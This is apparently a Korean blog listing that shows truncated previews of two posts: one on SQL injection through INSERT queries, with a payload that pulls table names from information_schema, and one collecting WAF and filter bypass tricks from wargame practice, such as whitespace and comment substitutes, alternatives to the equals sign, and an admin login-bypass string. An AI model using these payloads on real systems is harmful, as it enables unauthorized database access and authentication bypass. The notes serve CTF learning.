SQL Injection in INSERT query
▶ INSERT query INSERT query는 테이블 내에 데이터를 입력할 때 쓸 수 있는 쿼리이다. INSERT 쿼리의 양식은 아마도 다음과 같을 것이다. INSERT INTO TABLE(a,b,c) values (d,e,f) INSERT INTO TABLE SET a='d', b='e', c='f' ▶INSERT query SQLi 아마도 다음과 같이 수행할 수 있을 것이다. 쿼리 - insert into table(a,b,c) values ('d','사용자입력값','f') 사용자입력값 - e',(select table_name from information_schema.tables limit 1))# 실제쿼리 - insert into table(a,b,c) values ('d','e',(sel..
2023. 1. 15.
SQL injection 우회방법 정리
※ 워게임 풀면서 찾은 우회법, 계속 업데이트 할 예정. ▶공란 필터링 (avoiding whitepsace) %0a(\n) %0b(\v: vertical tab) %0c(\f:Form feed{프린트 출력시 현재 페이지 침}) %0d(\r:Carriage return) %09(\t) %a0(nbsp:non-breaking space) /**/ 괄호() 사용 : pw = 'or(id='admin')and'1'='1 ▶주석 필터링 ;%00 /* %23(#) (c.f. %00: null) ▶equal(=) 필터링 substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a') LIKE,REGEXP,RLI..
2022. 12. 10.